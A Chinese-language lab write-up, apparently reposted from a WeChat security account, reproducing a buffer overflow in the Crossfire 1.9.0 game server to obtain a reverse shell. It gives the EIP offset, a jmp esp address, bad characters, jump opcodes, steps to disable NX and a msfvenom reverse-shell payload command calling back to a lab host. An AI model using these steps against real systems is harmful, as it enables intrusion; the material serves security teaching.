经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

admin 2025年2月11日14:17:05评论13 views字数 3588阅读11分57秒阅读模式

背景

前面我们学习了利用Windows32位系统的缓冲区溢出漏洞来getshell,今天我们来利用Linux32位系统的缓冲区溢出漏洞来getshell,进一步学习和理解缓冲区溢出漏洞

  • 首先,我们这次需要准备一个Linux32位系统镜像,记得拍好快照,避免操作过程中造成系统崩溃。
  • 接着,我们需要准备好crossfire,即我们耳熟能详的穿越火线,这是一个基于Linux系统的在线多人角色的FPS游戏,这次漏洞是产生在历史版本1.9.0
  • 不论是游戏,还是程序,它们都需要端口进行交互,我们知道缓冲区溢出的本质还是因为内存,所以我们要明白哪些命令会经过内存空间。而setup sound这一条命令是会经过内存空间的

准备

安装调试工具

这次我们需要使用到的调试工具是:EDB

sudo apt update #更新软件库
edb #直接注入edb,系统会帮助你下载

crossfire源码准备

下载源码

网址:https://sourceforge.net/projects/crossfire/files/crossfire-server/1.9.0/

解压游戏包

tar -zvf crossfire.tar.gz

执行程序

进入你们游戏包的目录,执行程序

sudo cp -r crossfire /usr/games/ #拷贝文件到系统目录
cd /usr/games/crossfire/bin #进入游戏包的bin文件夹
./crossfire # 允许游戏程序
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

验证端口

一旦程序运行,它就会占用一个端口,我们要验证是否有端口被crossfire占用

ss -pantulo|grep crossfire

OK,我们可以看到端口占用为:13327经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

检查防护机制

为了保证shell成功反弹,我们先将一些防护机制关闭。 先使用checksec这个脚本工具来看看这个程序是否开启安全防护机制。

sudo apt install checksec #下载脚本工具 
sudo checksec --file=/usr/games/crossfire/bin/crossfire # 检查程序

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析我们可以看到NX是开启的,其他的防护机制是关闭的。

关闭NX

方法一

首先,我们重新启动kali 32位系统,然后再进入系统页面是按E,接着编辑引导过程参数。

我们先找到linux开头的那一个参数选项,然后输入下面指令:

noexec=off
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

接着,ctrl+x进入系统,

方法二

通过内核启动参数禁用 NX

1.编辑 GRUB 配置文件:

sudo vim /etc/default/grub

2.在 GRUB_CMDLINE_LINUX 中添加参数:

GRUB_CMDLINE_LINUX="... noexec=off"

3.更新 GRUB 配置:

sudo update-grub

4.重启系统:

sudo reboot
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

查看NX是否关闭

检查 CPU 是否支持 NX:

grep -w nx /proc/cpuinfo #输出含 "nx" 表示支持
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

导入程序

完成一切准备工作后,我们就可以对其进行测试了。

1.先启动程序

cd /usr/games/crossfire/bin
./crossfire

2.导入程序进程 打开edb,点击左上角file中的attack,导入我们的crossfire

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

导入成功,同时现在是暂停状态,先让程序跑起来了

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

验证漏洞存在

前面我们说过,如果命令经过内存,那我们就可以验证一下命令当中是否存在缓冲区溢出漏洞

本次漏洞复现我们使用的的setup sound命令.

现在先使用脚本1向程序运行占用的端口13327发送5000个A,目的是验证漏洞是否存在,如果漏洞存在,那程序就会崩溃。

脚本1:

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

执行脚本

python2 exp01.py

程序崩溃

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

我们看看程序的寄存器的情况

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析诶,我们发现一个问题:EIP地址没有被41414141覆盖,也就是意味着没有被5000个A覆盖。这是因为我们注入的数据过多,导致程序崩溃后EIP寄存器地址也不会放置41414141即四个A,这是这个程序比较特殊的地方。

那我们就只能一次次试错,使用脚本2一次次发送各个数量的A,最终确定能覆盖EIP寄存器的数据量为:4379

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

确定偏移量

我们成功让EIP寄存器的地址被覆盖为41414141,那现在先使用msf的一个模块生成不重复的4379个字符,目的是通过特定标识确定EIP的地址。

msf-pattern_create -l 4379
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

现在,使用脚本3将这些数据发送到这个程序的端口,看看EIP被覆盖成什么。

我们可以看到EIP地址被覆盖为:46367046经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

接下来还是使用msf的一个模块去推出偏移量:

msf-pattern_offset -q 46367046
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

得到偏移量为4368

确定EIP地址

我们测试出偏移量,那现在就开始找EIP寄存器的精确地址,我们使用脚本4发送一段总字符数为4379数据:4368个A,4个B,7个C

脚本4:经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

执行脚本后,查看寄存器情况

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析我们看到EIP寄存器被覆盖为:42424242;那么我们就可以确定EIP的精确地址了。

发现问题

不知道各位有没有发现一个问题:ESP寄存器没有可覆盖空间供payload写入,因为只能写入7个字节,超出7个字节就无法使用了。

观察其他几个寄存器:EAXECXEDX,这几个寄存器是有数据覆盖的,那EAX可以吗?实际上,EAX覆盖的起始地址有setup sound存在,这个字符串有可能影响我们playload的执行,而且这个寄存器中jmp esp指令出现的可能性不高。

解决问题

那我们换个思路,我们利用ESP寄存器的7个字符的空间来进行操作,既然EAX寄存器setup sound有可能影响playload执行,那我们选择在setup sound的前面进行。

步骤

第一步

首先,我们在ESP寄存器中注入汇编指令:add eax,12 jmp eax

解释:

  • add eax, 12 是一条汇编指令。其中,add 是加法操作指令,eax 是 x86 架构下的一个通用寄存器(累加器寄存器),这条指令的作用是把寄存器 eax 里的值加上 12,然后把结果存回 eax 寄存器。用伪代码表示就是:eax = eax + 12。

  • 为什么是12?因为setup sound刚好就是12.

  • jmp eax:jmp eax 也是一条汇编指令。jmp 是无条件跳转指令,其功能是让程序的执行流程跳转到指定的地址。这里指定的地址存于寄存器 eax 中,也就是说程序会跳转到 eax 所存储的地址处继续执行后续的指令。

这些指令组合是为了在找到 JMP ESP 指令地址后,把这个地址存储到 eax 寄存器,接着通过 add eax, 12 对地址进行微调,最后使用 jmp eax 跳转到调整后的地址,以此来控制程序的执行流程

将汇编指令转化为十六进制

msf-nasm_shell
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

add eax,12为83C00C,jmp eax为FFE0

将指令写入脚本5中,替代原来C的位置

第二步

接下来,我们要找到能够存在jmp esp指令的程序中指令存在的位置。 先进入opcodesearcher模块经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

先选择ESP->EIP,然后选择有执行权限的crossfire进程(r-x),接着点击find。(选择ESP->EIP是因为把jmp esp这条指令所在的内存地址放在EIP寄存器

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

然后就会回显搜索到的多个jmp esp指令,我们随便选择一个:0x08134596

将脚本5的B的位置,即EIP位置替换成08134596,但使用了一个小端序的地址,所以要进行倒着写:

eip = "x96x45x13x08"

脚本6:

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

测试坏字符

(1)什么是坏字符

在计算机安全和编程中,“坏字符”(Bad Characters)通常是指那些在特定上下文中可能导致程序行为异常、触发错误或被程序逻辑所禁止的字符。

在网络安全和缓冲区溢出攻击中,“坏字符”是指那些可能破坏攻击载荷(payload)或导致程序崩溃的字符

例如:

  • 空字符(0x00):通常用于字符串终止,可能会截断攻击载荷。

  • 换行符(0x0A)或回车符(0x0D):可能触发协议解析错误。

  • 其他特殊字符:某些协议或程序可能对特定字符有特殊用途,这些字符如果出现在攻击载荷中,可能会导致攻击失败。

(2)注入坏字符

将所有的十六进制字符注入后,如果遇到坏字符,数字就会变成00。按照这个规则,我们就可以对照输入的十六进制字符找到坏字符,即:x00x20

脚本7:

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

反弹shell

最后一步,我们使用msf生成实现反弹shell的代码

msfvenom -p linux/x86/shell_reverse_tcp LHOSt=192.168.159.129 LPORT=4444 -f c -b "x00x20" -f py
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

在攻击机端口监听

经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

运行crossfire程序后,执行反弹shell脚本

python exp08.py
经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

成功反弹shell经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

资源分享

原文始发于微信公众号(泷羽Sec-Z1eaf):经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日14:17:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   经典漏洞复现:CrossFire老版本缓冲区溢出漏洞GetShell全解析http://cn-sec.com/archives/3725043.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息